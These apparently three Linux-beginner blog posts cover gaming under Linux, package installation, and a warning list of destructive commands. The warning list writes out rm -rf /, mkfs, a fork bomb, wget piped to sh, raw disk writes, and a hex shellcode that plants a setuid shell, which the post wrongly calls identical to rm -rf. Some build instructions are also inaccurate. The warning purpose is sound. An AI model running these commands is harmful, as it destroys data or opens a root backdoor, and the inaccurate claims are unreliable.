Linux For The Mindful!

As many Windows users there are out in the world, there are about as many video games, designed with different people in mind. If you like first person shooters, you must have heard of the legendary ones, such as Doom, Quake, Wolfenstein 3D, or even a more recent classic, Half Life. More current examples could be Far Cry, Crysis, and even Halo. But what is a Linux user to do, to combat his or her boredom under the operating system? Certainly, it can be said there are far less games for Linux as there is for Windows, and this has been proven time and time again, that Linux is not at the present time, set up for gaming.

However, this is not to say we have to do without. There are several games, and several ways to play them, that Linux users can have just as many fun games under their operating system as Windows can. Keep in mind that I will not cover flash games/ java based games, because they are assured to be cross platform. These will work so long as you have the right plugins and players to make them work.

First and foremost, we have games that were built from the ground up, especially for Linux. These are rare, but assured to work for our operating system. Such examples of said programs are: SuperTux, TuxKart, Metal Blob Solid, Wormux, and my personal favourite, AssaultCube. While all of these have been ported to Windows, they were designed originally for Linux users, and even more then what I’ve named here are sitting in your repositories, ready to be installed on your command. All you have to do is load up the Ubuntu Software Center and take a look under Games.

Secondly, we have emulators. SNES9x, VBA Express, and much more are available for Linux users as well. And while I won’t suggest any games or sites to download them, I would recommend using homebrew games, and actually paying for the said games you’d like to play for the emulator. That being said, I can’t stop you from pirating other games for the emulated system. Again, these are built into the Ubuntu repos, and can be found under Ubuntu’s Software Center.

Third, and very interestingly, we can emulate Windows, inside VirtualBox. This would be recommended only if the game you are running is not labour intensive and is light on your computer. This is because you have to set aside a portion of your computer specs to run this virtual computer. As I said, keep in mind that if it’s something like Crysis, you will not get a good enough frame rate to actually play. And perish the thought, while under Windows, this is actually how I post and make sure my posts are somewhat correct.

Last but not least, we have WINE. It is a recursive acronym meaning Wine Is Not an Emulator, that we can use to fool certain programs into thinking we are running Windows. To install WINE, open Terminal

]Programs>Accessories>Terminal

and type:

sudo apt-get install wine

Accept the dependencies, and let it install and configure itself, before installing any games or programs. If you would like to check and make sure your program actually works under Linux, you can check the WineDB site and see. Keep in mind that Wine won’t play every game out there, and despite it’s name, it’s emulation of Windows will take a bite out of your resources, so you won’t get the same frame rate as what you would under Windows. That being said, there are also some times that Wine used to support a program that no longer works. Updates will break funtionality, however, a tool by the name of PlayOnLinux can help resolve our issues. Simply add the PlayOnLinux repository under Terminal

]Programs>Accessories>Terminal

and copy and paste the following. Don’t worry, unlike yesterday’s post, this is safe!

sudo wget http://deb.playonlinux.com/playonlinux_karmic.list -O /etc/apt/sources.list.d/playonlinux.list
sudo apt-get update
sudo apt-get install playonlinux

Once installed, you will be able to find it under

]Programs>Games>PlayOnLinux

and use it to configure your games. It can also be used to help set up other Windows programs under Wine too, so it’s an amazing little tool we’ve got!

There we go, four different ways to play video games under Linux. Hardly a hard task, but a well rewarding one! Now if you don’t mind me, I’m going to play some OpenAlchemist for a few hours!

 

As most of us know, under Windows, we’re used to two kinds of installers: EXE and MSI. EXE or EXEcutable files are the most common interface that we have to install/ play with programs under Windows. MSI are usually MicroSoft Installer files, that while less common, are just as useful. But when Windows users come to Linux, expecting the same type of functionality, they learn quickly that we don’t have just one set standard. For example, to install a program under Linux, we could have it packaged in the following formats:

• deb (DEBian file)
• rpm (Red hat Package [don't ask what the M stands for, I have not a clue, though one could assume Manager])
• TGZ (most commonly found under Slackware based distributions)
• tar.gz/ tar.bz2/ tar.* / tbz/ etc (usually source files, but can also be like a TGZ)
• Custom Repository
• JAR (Java based)
• BIN files

And many many MANY more. Today, however, I’m going to cover deb, rpm, repositories, and compiling/installing a source file.

If you are using Ubuntu, or any other Debian-based distribution, debs are among the easiest to install. However, this doesn’t always mean it’s going to work flawlessly. DEBs are Debian’s response to an EXE file, that is, double click, and it shall install the program that is packaged inside. This usually works without a hitch, though sometimes, in server distributions and if you are downloading multi-deb files (the best example for this, is updating OpenOffice.org. Comes in about twenty-plus deb files in the zip!), it’s easier to install via command line. To do this, open up Terminal:

]Programs>Accessories>Terminal

and type the following:

cd /your/directory/with/the/deb/files

sudo dpkg *.deb -i

This tells Linux to install your deb files as the root user. Keep in mind, installing only works via root!

Repositories are the next easiest. Aside from Ubuntu having it’s own special stream of repository, there are others you can add to effectively add more functionality. Not to spoil tomorrow’s post, but you might want to pay attention to this part. For our example, we are going to install the PlayDeb.net repository, home of some of the games you can play under Linux. While you could install the deb to get the repositories added, not every repo (short form for repository) has a deb or executable program to automate this.  So what we have to do is go to our Software Sources:

]System>Administration>Software Sources

then to the Third-Party Software tab, and add it manually by hitting ‘Add’. The line you’ll need to add in this case is:

deb http://archive.getdeb.net/ubuntu karmic-getdeb games

then open Terminal

]Programs>Accessories>Terminal

and type:

wget -O- http://archive.getdeb.net/getdeb-archive.key | sudo apt-key add -

Now laugh if you’d like, but you won’t always have to/be able to do the last part. PlayDeb.net is different from a few of the repos out there in that it has a digital signature, which you just added to your keyfile. A digital signature on a repository is a good thing, because there is less of a chance that it is a fraudulent/ dangerous program as yesterday’s post touched on.

RPMs are a special case under a Debian-based distribution, like Ubuntu. If we were using a Red Hat-based distribution, like Fedora, we could simply double click and install the file. However, since Debian and Ubuntu doesn’t know how to read an RPM, we need a program to convert it. Open Terminal

]Programs>Accessories>Terminal

and type:

sudo apt-get install alien

Alien is a special package that you’ll learn to love if you use a lot of programs packaged for Red Hat, as it converts RPMs into DEBs, making it possible for us to install many programs that we otherwise would have to use source files for! The use of Alien is rather simple, running by the following command [assuming you're already in the proper folder, if not, CD into it] into terminal:

alien -i yourprogramsname.rpm

which will tell Alien to convert, then install your RPM. Easy stuff!

Finally, and most complex, is compiling your program from source. While I never recommend this to newbies because of how hard it can be, mastering it means you’re one step closer to becoming a Linux Guru… or at least a Geek. First and foremost, Ubuntu does not ship with the tools you need to install via source. To install them, go to Terminal and type:

sudo apt-get install build-essential

Download the source file that you’d like to compile, and CD into the folder where you saved it. Then roll up your sleeves, because things are about to get messy. First and foremost, issue the command to uncompress the folder. If it is a tar.bz2, the command will read something like this:

tar jxvf compressedsourcefile.tar.bz2

or if it’s a tar.gz archive, type:

tar zxvf compressedsourcefile.tar.gz

Don’t ask me what the letters mean, as I’m not sure myself. Then, change directory (CD) into the uncompressed file’s folders, and issue the following commands:

make

Assuming it made with no errors,

sudo make install

If it made with errors, it should have a configuration file, so type out:

configure

which should tell you what you need to install first. From there, try your make command again. If it works, run the sudo make install command. If not, then… well, we’d have a puzzle then!

So there you have it. Four different ways to install programs under Linux. I hope this helped you with your learning of an amazing operating system, and if you have any questions or comments, please comment away.

If you’re new to Linux, and look on pages upon pages of code, you’ll see a lot of different commands you can input. And to many newbies, how you learn is by doing. But today, I’m going to cover commands, that unless you’ve got a death wish for Linux, you will NOT run. If you see any of these commands on a tutorial pages, turn the other way, and click far away from it, because they will destroy your Linux install.

rm -rf /
rm -rf .
rm -rf *

On first look, this command looks innocent enough. But let me type out the same command that would be for Windows:

format c:/

What rm does, is remove, -rf trigger telling it to remove files and folders, and / is the top layer of your Linux install. Basically, you told it to remove your entire hard drive. One reboot… and your data’s gone for good.

Next on the list:

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

Now… much more complex. But believe it or not, it’s the exact same command as above. Why so complex? It’s in HEX format. (I won’t cover what Hex is, but needless to say, don’t run this.)

mkfs.ext3 /dev/sda

mkfs

mkfs is a simple command to understand when it comes to codes: MaKe a new FileSystem, and disregard the old one. This will format your computer, and delete your data. The following isn’t as stupid, but I’ve still seen done:

mv /home/yourhomedirectory/* /dev/null

To this effect, it is a safe command… so long as you’ve got a /dev/null folder. And danger, danger, you can’t get one. MoVe your home directory to null.. and it shall become null to follow suit. (For those who are unused to the term ‘null’, it’s zero, nothing, zilch.) Next up:

: (){:|:&};:

Hurray for faces… unless they’re inputted into Terminal. Seriously. These might look fun, they might look interesting, but don’t do it, unless you have a desire to run what’s called a forkbomb. And believe me, data loss does happen when you run one. The words ‘fork’ and ‘bomb’ weren’t put together just to make it sound painful… when it truly is.

wget http://some_place/some_file -O- | sh
wget http://some_place/some_file
sh ./some_file

Unless your poster is trusted, I would never recommend running unsafe script files. I’m hoping you all trust me when I post links and script files, but if not, that’s your choice, and I won’t change that. But be warned, there will be people out there to take advantage of you and your naivety. Finally, last, but certainly not least:

any_command > /dev/sda
dd if=something of=/dev/sda

Raw data writing, like so… NEVER RECOMMENDED.

Hopefully you’ve learned what not to do when asking for help, or what to watch out for. If you have any questions or comments, please fire away, I’ll try to answer them the best I can.